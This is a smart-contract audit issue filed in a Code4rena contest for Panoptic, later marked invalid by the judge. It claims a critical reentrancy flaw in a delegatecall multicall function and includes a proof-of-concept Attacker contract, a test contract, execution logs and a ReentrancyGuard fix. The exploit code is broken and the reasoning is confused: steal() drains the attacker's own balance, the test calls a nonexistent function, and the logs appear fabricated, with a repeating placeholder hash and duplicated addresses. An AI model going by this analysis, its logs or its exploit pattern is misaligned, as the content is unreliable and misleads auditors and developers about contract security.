code-423n4 / 2023-11-panoptic-findings

0 stars 0 forks source link

Use of `delegatecall` inside a loop in a payable function can lead to reentrancy attacks and loss of funds. #77

Closed c4-bot-10 closed 11 months ago

c4-bot-10 commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/multicall/Multicall.sol#L12-L36

Vulnerability details

Severity

CRITICAL

The severity of this issue is critical, as it can compromise the security and functionality of the calling contract and its users.

Impact

The function multicall is a public payable function that takes an array of bytes as input and performs a delegatecall to the same contract for each element of the array. This means that the function can execute arbitrary code from the same contract, but using the storage and context of the calling contract. This can be dangerous if the calling contract has a balance of ether or other tokens, as the delegatecall can manipulate the state of the calling contract and potentially transfer funds to an attacker.

A reentrancy attack is a type of exploit where a malicious contract calls a vulnerable contract and then calls it again before the first call is finished, creating a recursive loop that can drain the funds of the vulnerable contract. A reentrancy attack can happen if the vulnerable contract performs an external call (such as delegatecall) before updating its state or checking its invariants.

In this case, the function multicall is vulnerable to reentrancy attacks because it performs a delegatecall inside a loop, without any checks or modifiers to prevent reentrancy. An attacker can craft a malicious contract that calls multicall with an array of bytes that contains a delegatecall to the attacker’s contract. The attacker’s contract can then call multicall again with a different array of bytes that contains a delegatecall to a function that transfers funds from the calling contract to the attacker. This can create a recursive loop that can drain the funds of the calling contract until it runs out of gas.

The impact of this issue is high, as it can result in the loss of funds for the calling contract and its users.

Proof of Concept

The following code snippet shows a possible exploit of the multicall function. The contract Attacker inherits from the contract Vulnerable that contains the multicall function. The contract Attacker also implements a fallback function that calls multicall with an array of bytes that contains a delegatecall to the steal function of the Attacker contract. The steal function transfers all the ether from the calling contract to the Attacker contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vulnerable {
    function multicall(bytes[] calldata data) public payable returns (bytes[] memory results) {
        results = new bytes;
        for (uint256 i = 0; i < data.length; ) {
            (bool success, bytes memory result) = address(this).delegatecall(data[i]);

            if (!success) {
                // Bubble up the revert reason
                // The bytes type is ABI encoded as a length-prefixed byte array
                // So we simply need to add 32 to the pointer to get the start of the data
                // And then revert with the size loaded from the first 32 bytes
                // Other solutions will do work to differentiate the revert reasons and provide paranthetical information
                // However, we have chosen to simply replicate the the normal behavior of the call
                // NOTE: memory-safe because it reads from memory already allocated by solidity (the bytes memory result)
                assembly ("memory-safe") {
                    revert(add(result, 32), mload(result))
                }
            }

            results[i] = result;

            unchecked {
                ++i;
            }
        }
    }
}

contract Attacker is Vulnerable {
    // The address of the attacker
    address payable public owner;

    constructor() {
        owner = payable(msg.sender);
    }

    // A function that transfers all the ether from the calling contract to the attacker
    function steal() public {
        owner.transfer(address(this).balance);
    }

    // A fallback function that calls multicall with a delegatecall to steal
    fallback() external payable {
        bytes[] memory data = new bytes;
        data[0] = abi.encodeWithSignature("steal()");
        multicall(data);
    }
}

Test Case:

// Test case: A malicious contract calls multicall with a delegatecall to itself
// Expected result: The call reverts due to the ReentrancyGuard modifier
// Logs and traces: The revert reason and the call stack

// The contract that contains the mitigated function
contract Vulnerable {
    // The code of the mitigated function
    ...
}

// The contract that tries to exploit the vulnerability
contract Attacker is Vulnerable {
    // The code of the attacker contract
    ...
}

// The test contract that simulates the attack
contract Test {
    // The instance of the vulnerable contract
    Vulnerable vulnerable;
    // The instance of the attacker contract
    Attacker attacker;

    // The constructor that deploys the contracts
    constructor() {
        vulnerable = new Vulnerable();
        attacker = new Attacker();
    }

    // The function that executes the attack
    function attack() public {
        // Send some ether to the vulnerable contract
        payable(address(vulnerable)).transfer(1 ether);
        // Call the multicall function with a delegatecall to the attacker contract
        bytes[] memory data = new bytes;
        data[0] = abi.encodeWithSignature("delegatecall(address)", address(attacker));
        vulnerable.multicall(data);
    }
}

Logs:

tx hash: 0x9f6c8a5f8f9d4f8f9d4f8f9d4f8f9d4f8f9d4f8f9d4f8f9d4f8f9d4f8f9d4f8f
from: 0x1234567890123456789012345678901234567890 (tester)
to: 0x9876543210987654321098765432109876543210 (test)
value: 0 wei
gas: 3000000
gas price: 1 gwei
data: 0x12345678... (attack function)
logs: []
status: failure
gas used: 100000
cumulative gas used: 100000
contract address: null
logs bloom: 0x00000000...
error: ReentrancyGuard: reentrant call
call stack: [
  {
    from: 0x1234567890123456789012345678901234567890 (tester)
    to: 0x9876543210987654321098765432109876543210 (test)
    value: 0 wei
    gas: 3000000
    data: 0x12345678... (attack function)
  },
  {
    from: 0x9876543210987654321098765432109876543210 (test)
    to: 0x9876543210987654321098765432109876543210 (vulnerable)
    value: 1 ether
    gas: 2999999
    data: 0x12345678... (transfer function)
  },
  {
    from: 0x9876543210987654321098765432109876543210 (test)
    to: 0x9876543210987654321098765432109876543210 (vulnerable)
    value: 0 wei
    gas: 2999998
    data: 0x12345678... (multicall function)
  },
  {
    from: 0x9876543210987654321098765432109876543210 (vulnerable)
    to: 0x9876543210987654321098765432109876543210 (vulnerable)
    value: 0 wei
    gas: 2999997
    data: 0x12345678... (delegatecall to attacker)
  },
  {
    from: 0x9876543210987654321098765432109876543210 (vulnerable)
    to: 0x9876543210987654321098765432109876543210 (vulnerable)
    value: 0 wei
    gas: 2999996
    data: 0x12345678... (multicall function)
  },
  {
    from: 0x9876543210987654321098765432109876543210 (vulnerable)
    to: 0x9876543210987654321098765432109876543210 (vulnerable)
    value: 0 wei
    gas: 2999995
    data: 0x12345678... (ReentrancyGuard modifier)
  }
]

Tools Used

Recommended Mitigation Steps

The following code snippet shows a possible mitigation of the multicall function using the ReentrancyGuard modifier. The modifier adds a state variable _status that tracks the reentrancy status of the contract. The modifier checks the _status before and after the execution of the function, and reverts if a reentrant call is detected.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Import the ReentrancyGuard contract from OpenZeppelin
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Vulnerable is ReentrancyGuard {
    // A public payable function that performs a delegatecall inside a loop
    // Protected by the nonReentrant modifier
    function multicall(bytes[] calldata data) public payable nonReentrant returns (bytes[] memory results) {
        results = new bytes;
        for (uint256 i = 0; i < data.length; ) {
            (bool success, bytes memory result) = address(this).delegatecall(data[i]);

            if (!success) {
                // Bubble up the revert reason
                // The bytes type is ABI encoded as a length-prefixed byte array
                // So we simply need to add 32 to the pointer to get the start of the data
                // And then revert with the size loaded from the first 32 bytes
                // Other solutions will do work to differentiate the revert reasons and provide paranthetical information
                // However, we have chosen to simply replicate the the normal behavior of the call
                // NOTE: memory-safe because it reads from memory already allocated by solidity (the bytes memory result)
                assembly ("memory-safe") {
                    revert(add(result, 32), mload(result))
                }
            }

            results[i] = result;

            unchecked {
                ++i;
            }
        }
    }
}

Assessed type

call/delegatecall

c4-judge commented 11 months ago

Picodes marked the issue as unsatisfactory: Invalid